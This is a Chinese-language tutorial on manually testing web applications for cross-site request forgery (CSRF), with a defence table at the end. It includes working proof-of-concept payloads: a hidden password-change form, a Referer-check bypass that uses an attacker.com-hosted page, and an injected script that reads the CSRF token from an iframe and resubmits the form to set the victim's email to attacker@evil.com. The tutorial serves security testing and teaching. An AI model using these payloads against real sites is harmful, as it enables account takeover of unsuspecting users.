CSRF漏洞手工测试方法:从原理到实战的全面指南

在当今复杂的网络安全环境中,跨站请求伪造(CSRF)漏洞因其隐蔽性和潜在的巨大危害,成为渗透测试人员和安全研究人员必须掌握的核心技能之一。与广为人知的XSS攻击不同,CSRF攻击不直接窃取用户数据,而是利用用户已登录的身份,在用户不知情的情况下执行非预期的操作,如修改密码、转账、添加管理员账户等。

CSRF漏洞手工测试方法:从原理到实战的全面指南

本文将系统性地介绍CSRF漏洞的手工测试方法,涵盖GET/POST请求的测试、Referer绕过技巧以及与XSS结合的高级利用方式,帮助你从零开始掌握这一关键安全测试技术。


什么是CSRF?——理解攻击的本质

CSRF(Cross-site Request Forgery),即跨站请求伪造,是一种利用用户在受信任网站上的登录状态,诱导其浏览器向该网站发送恶意请求的攻击方式。

CSRF攻击的两个必要条件:

  1. 用户已登录目标网站,并在浏览器中保留了有效的会话凭证(如Cookie)。

  2. 用户访问了攻击者构造的恶意页面,该页面自动向目标网站发起请求。

📌 关键区别:XSS是“盗用身份获取信息”,而CSRF是“冒用身份执行操作”。


CSRF手工测试全流程:从发现到验证

第一步:识别可测试的敏感功能点

在进行手工测试前,首先要确定哪些功能可能受到CSRF影响。重点关注以下操作:

  • 修改密码、邮箱、手机号

  • 添加/删除用户或管理员

  • 转账、购买商品、修改订单

  • 修改系统配置或权限设置

这些功能一旦被伪造,将造成严重的安全后果。


第二步:GET型CSRF测试(最简单)

如果目标功能通过GET请求完成(如?action=delete&id=1),测试最为直接。

测试步骤:

  1. 使用合法账户登录目标网站。

  2. 找到目标功能的请求URL,例如:

    http://example.com/delete_user.php?uid=1001
  3. 将该URL复制到未登录状态的浏览器中访问,确认无权限。

  4. 保持登录状态的浏览器中,新建一个HTML文件或直接在地址栏访问该URL。

  5. 如果请求成功执行(如用户被删除),则存在无防护的GET型CSRF漏洞

防御建议:

  • 敏感操作应使用POST请求。

  • 使用一次性Token(Anti-CSRF Token)进行验证。


第三步:POST型CSRF测试(需构造表单)

大多数现代应用已将敏感操作改为POST请求,因此需要手动构造HTML表单来模拟攻击。

手工构造CSRF POC(Proof of Concept):

<html>
  <body>
    <form action="http://example.com/change_password.php" method="POST">
      <input type="hidden" name="old_password" value="123456" />
      <input type="hidden" name="new_password" value="hacked123" />
      <input type="hidden" name="confirm_password" value="hacked123" />
      <input type="submit" value="Click Me" />
    </form>
  </body>
</html>

测试方法:

  1. 将上述代码保存为csrf.html

  2. 使用目标账户登录目标网站。

  3. 在同一浏览器中打开csrf.html,点击提交按钮。

  4. 检查密码是否被修改。若成功,则存在无防护的POST型CSRF漏洞

🔍 提示:可使用Burp Suite的“Engagement tools” → “Generate CSRF PoC”功能自动生成表单,提高效率。


第四步:绕过Referer检查(中级技巧)

部分网站通过检查HTTP Referer头来防御CSRF,仅允许来自本站的请求。

绕过方法:文件名伪装法

如果服务器使用类似以下逻辑验证Referer:

if (!strpos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME'])) {
    die("CSRF detected!");
}

我们可以将攻击页面命名为与目标域名相同的名称:

  1. csrf.html重命名为 www.example.com.html

  2. 将该文件上传至可访问的服务器(如攻击者网站)。

  3. 构造链接:http://attacker.com/www.example.com.html

  4. 诱导用户点击,由于Referer为http://attacker.com/www.example.com.html,包含example.com,绕过检测。

⚠️ 注意:现代浏览器对本地文件的Referer处理不同,建议将文件部署在Web服务器上测试。


第五步:绕过Token防护(高级利用)

最有效的CSRF防御是使用一次性Token(如user_token=abc123)。但若目标站点存在XSS漏洞,仍可绕过。

利用XSS + CSRF组合攻击

攻击思路:利用XSS漏洞读取页面中的CSRF Token,再动态提交表单。

<iframe src="http://example.com/profile.php" id="token_frame" style="display:none;"></iframe>

<form id="csrf_form" action="http://example.com/change_email.php" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com" />
  <input type="hidden" name="user_token" id="token_input" value="" />
</form>

<script>
function stealToken() {
  // 从iframe中读取Token
  var token = document.getElementById('token_frame').contentWindow.document
              .querySelector('input[name="user_token"]').value;
  document.getElementById('token_input').value = token;
  document.getElementById('csrf_form').submit();
}
window.onload = stealToken;
</script>

测试步骤:

  1. 确保目标页面存在XSS漏洞(可注入JS)。

  2. 将上述代码注入目标页面(如通过评论、消息等)。

  3. 当管理员访问该页面时,脚本自动获取Token并提交表单,完成CSRF攻击。

结论:即使有Token防护,若存在XSS,CSRF仍可被利用。


如何防御CSRF?

防御措施说明
CSRF Token每次请求生成唯一Token,服务器验证
SameSite Cookie设置SameSite=Strict/Lax,限制跨站Cookie发送
验证Referer检查请求来源是否为本站
双重提交Cookie将Token同时放在Cookie和请求参数中

CSRF漏洞的手工测试是安全测试中的基础但关键环节。通过本文介绍的四种测试方法(GET、POST、Referer绕过、Token绕过),你可以系统性地评估Web应用的安全性。

🔐 安全建议

  • 开发者应默认对所有敏感操作启用CSRF Token。

  • 安全人员应结合XSS、点击劫持等漏洞进行组合测试。

  • 用户应避免在多个标签页中同时登录敏感账户。

掌握CSRF手工测试方法,不仅能提升你的渗透测试能力,更能帮助你构建更安全的网络环境。

发表评论

评论列表

还没有评论,快来说点什么吧~